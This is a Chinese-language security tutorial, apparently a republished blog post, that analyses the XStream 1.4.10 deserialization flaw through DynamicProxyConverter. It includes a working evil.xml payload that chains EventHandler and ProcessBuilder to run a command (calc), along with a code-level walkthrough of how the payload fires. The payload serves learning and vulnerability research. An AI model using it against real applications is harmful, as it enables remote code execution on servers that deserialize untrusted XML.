【Web】浅聊XStream反序列化本源之恶意动态代理注入

2024-03-14 02:04

本文主要是介绍【Web】浅聊XStream反序列化本源之恶意动态代理注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

简介

原理

复现

具体分析之前

我们反序列化了个什么?

XStream反序列化的朴素通识

具体分析

第一步:unmarshal解组

第二步:readClassType获取动态代理类的Class对象

第三步:调用convertAnother对动态代理类进行实例化

第四步:调用动态代理类方法触发invoke


前文:【Java】萌新的XStream反序列化常用api学习笔记-CSDN博客

简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然

原理

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器。

该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法。

利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

复现

导入pom依赖

 <dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.10</version></dependency></dependencies>

exp

package com.XStream;import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;public class Interface {public static void main(String[] args) throws FileNotFoundException {FileInputStream fis = new FileInputStream("evil.xml");XStream xStream = new XStream();Runnable r = (Runnable) xStream.fromXML(fis);r.run();}
}

evil.xml

<dynamic-proxy><interface>java.lang.Runnable</interface><handler class='java.beans.EventHandler'><target class='java.lang.ProcessBuilder'><command><string>calc</string></command></target><action>start</action></handler>
</dynamic-proxy>

具体分析之前

我们反序列化了个什么?

okok,wait wait wait!我们先不聊XStream反序列化的流程,不妨从结果入手,先了解我们最后反序列化得到了什么?

关注回evil.xml

<dynamic-proxy><interface>java.lang.Runnable</interface><handler class='java.beans.EventHandler'><target class='java.lang.ProcessBuilder'><command><string>calc</string></command></target><action>start</action></handler>
</dynamic-proxy>

做一个简单解读:

这段 XML 配置信息表示了一个动态代理对象,该代理对象实现了 Runnable 接口,通过 EventHandler 处理程序代理 ProcessBuilder 类的实例,并在调用代理对象的方法时执行 ProcessBuilderstart 方法来启动计算器程序(calc)。这种配置可以用于动态地创建代理对象并执行特定的操作。

总而言之,不难看出这段xml经过反序列化得到的是一个动态代理类,其handler为EventHandler,handler的target为ProcessBuilder,action为start。

【Java】小白必须要懂的关于反射的极简基础知识-CSDN博客

这篇文章的最后有讲到,ProcessBuilder.start会进行命令执行操作,不难猜测,EventHandler可实现任意函数反射调用(调用target对象的action方法),我们的期望就是通过动态代理一个接口交由EventHandler处理最后进行命令执行。

而动态代理类所执行的所有方法都会交由invoke来处理,所以我们只要找到靶机上存在方法调用的接口,就可以实现“动态代理注入”,也正是因此,exp里需要手动调用反序列化对象的interface里面声明的方法。(但必须要知道目标会调用哪个接口其实也是一种缺陷,我们在下一篇文章会予以解决)

XStream反序列化的朴素通识

①XStream反序列化简化来说就三步
MarshallingStrategy.unmarshal解组->调用HierarchicalStreams.readClassType获取待反序列化类的Class对象->调用convertAnother对该类进行实例化

②XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

我们这里利用的DynamicProxyConverter就是转换器的一种

具体分析

第一步:unmarshal解组

先是从fromXML开始跟进一堆unmarshal来到context.start

 

 

第二步:readClassType获取动态代理类的Class对象

跟进context.start,发现先是调用HierarchicalStreams.readClassType获取type(即待反序列化类的信息)

 跟进readClassType,发现取到classAttribute(类属性)为dynamic-proxy,且mapper为CachingMapper,调用CachingMapper#realClass

跟进CachingMapper#realClass 

这里要注意,elementName始终为dynamic-proxy,而mapper.realClass的逻辑是自子类向上到父类查找的,最终会走到DynamicProxyMapper#realClass(见下面一串图)

 

 

 

 

 

最后来到 DynamicProxyMapper#realClass,跟进

注意到elementName和this.alias是相等的,所以最后type取到的返回值就是DynamicProxy.class

 

可以看到取到type为Class@1256

第三步:调用convertAnother对动态代理类进行实例化

紧接着上面,我们将取到的type(Class@1256)传进convertAnother来进行实例化

 

这里简单跟一跟就行

converterLookup.lookupConverterForType()的逻辑是,迭代this.converter,直到找到能转换出DynamicProxy.class的converter,最终取到关键converter——DynamicProxyConverter,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象

 接着调用DynamicProxyConverter#unmarshal

这里直接放源码吧

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {List interfaces = new ArrayList();InvocationHandler handler = null;Class handlerType;for(handlerType = null; reader.hasMoreChildren(); reader.moveUp()) {reader.moveDown();String elementName = reader.getNodeName();if (elementName.equals("interface")) {interfaces.add(this.mapper.realClass(reader.getValue()));} else if (elementName.equals("handler")) {String attributeName = this.mapper.aliasForSystemAttribute("class");if (attributeName != null) {handlerType = this.mapper.realClass(reader.getAttribute(attributeName));break;}}}if (handlerType == null) {throw new ConversionException("No InvocationHandler specified for dynamic proxy");} else {Class[] interfacesAsArray = new Class[interfaces.size()];interfaces.toArray(interfacesAsArray);Object proxy = null;if (HANDLER != null) {proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, DUMMY);}handler = (InvocationHandler)context.convertAnother(proxy, handlerType);reader.moveUp();if (HANDLER != null) {Fields.write(HANDLER, proxy, handler);} else {proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, handler);}return proxy;}}

进行一波解读:

  1. 在方法内部,首先创建了一个空的接口列表 interfaces 和一个空的 InvocationHandler 变量 handler

  2. 接着进入一个循环,通过遍历 XML 的结构来读取数据。在循环中,首先判断是否还有子元素,然后移动到子元素,获取节点名称并根据节点名称进行不同的处理。

  3. 如果节点名称是 "interface",则将其对应的接口添加到接口列表中。

  4. 如果节点名称是 "handler",则尝试获取属性名为 "class" 的属性值作为处理程序的类型,并将其赋给 handlerType 变量,然后跳出循环。

  5. 将接口列表转换为数组,并使用 Proxy.newProxyInstance 方法创建代理对象 proxy,同时获取并实例化相应的 InvocationHandler

  6. 进行最终的代理对象的赋值,并返回代理对象。

总之就是对interface属性走了一遍第二步(获取Class对象),对handler属性走了一遍第二步和第三步(获取Class对象&实例化),最后实例化了一个动态代理类(关于handler中其他属性的还原道理是一样的,不再赘述)

得到的动态代理类如下:

第四步:调用动态代理类方法触发invoke

得到实例化类r之后,我们调用其接口(java.lang.Runnable)的已知方法run

如图

 成功触发EventHandler#invoke

跟进invokeInternal

 Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes);

取到targetMethod为handler的action属性,即start

target为ProcessBuilder,最终实现了对ProcessBuilder#start的调用,执行任意命令 

这篇关于【Web】浅聊XStream反序列化本源之恶意动态代理注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/806900

相关文章

Vue中动态权限到按钮的完整实现方案详解

《Vue中动态权限到按钮的完整实现方案详解》这篇文章主要为大家详细介绍了Vue如何在现有方案的基础上加入对路由的增、删、改、查权限控制,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一、数据库设计扩展1.1 修改路由表(routes)1.2 修改角色与路由权限表(role_routes)二、后端接口设计

SpringBoot项目注入 traceId 追踪整个请求的日志链路(过程详解)

《SpringBoot项目注入traceId追踪整个请求的日志链路(过程详解)》本文介绍了如何在单体SpringBoot项目中通过手动实现过滤器或拦截器来注入traceId,以追踪整个请求的日志链... SpringBoot项目注入 traceId 来追踪整个请求的日志链路,有了 traceId, 我们在排

前端 CSS 动态设置样式::class、:style 等技巧(推荐)

《前端CSS动态设置样式::class、:style等技巧(推荐)》:本文主要介绍了Vue.js中动态绑定类名和内联样式的两种方法:对象语法和数组语法,通过对象语法,可以根据条件动态切换类名或样式;通过数组语法,可以同时绑定多个类名或样式,此外,还可以结合计算属性来生成复杂的类名或样式对象,详细内容请阅读本文,希望能对你有所帮助...

Nginx实现动态封禁IP的步骤指南

《Nginx实现动态封禁IP的步骤指南》在日常的生产环境中,网站可能会遭遇恶意请求、DDoS攻击或其他有害的访问行为,为了应对这些情况,动态封禁IP是一项十分重要的安全策略,本篇博客将介绍如何通过NG... 目录1、简述2、实现方式3、使用 fail2ban 动态封禁3.1 安装 fail2ban3.2 配

Vue3中的动态组件详解

《Vue3中的动态组件详解》本文介绍了Vue3中的动态组件,通过`component:is=动态组件名或组件对象/component`来实现根据条件动态渲染不同的组件,此外,还提到了使用`markRa... 目录vue3动态组件动态组件的基本使用第一种写法第二种写法性能优化解决方法总结Vue3动态组件动态

Android 悬浮窗开发示例((动态权限请求 | 前台服务和通知 | 悬浮窗创建 )

《Android悬浮窗开发示例((动态权限请求|前台服务和通知|悬浮窗创建)》本文介绍了Android悬浮窗的实现效果,包括动态权限请求、前台服务和通知的使用,悬浮窗权限需要动态申请并引导... 目录一、悬浮窗 动态权限请求1、动态请求权限2、悬浮窗权限说明3、检查动态权限4、申请动态权限5、权限设置完毕后

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

Java使用POI-TL和JFreeChart动态生成Word报告

《Java使用POI-TL和JFreeChart动态生成Word报告》本文介绍了使用POI-TL和JFreeChart生成包含动态数据和图表的Word报告的方法,并分享了实际开发中的踩坑经验,通过代码... 目录前言一、需求背景二、方案分析三、 POI-TL + JFreeChart 实现3.1 Maven

Java导出Excel动态表头的示例详解

《Java导出Excel动态表头的示例详解》这篇文章主要为大家详细介绍了Java导出Excel动态表头的相关知识,文中的示例代码简洁易懂,具有一定的借鉴价值,有需要的小伙伴可以了解下... 目录前言一、效果展示二、代码实现1.固定头实体类2.动态头实现3.导出动态头前言本文只记录大致思路以及做法,代码不进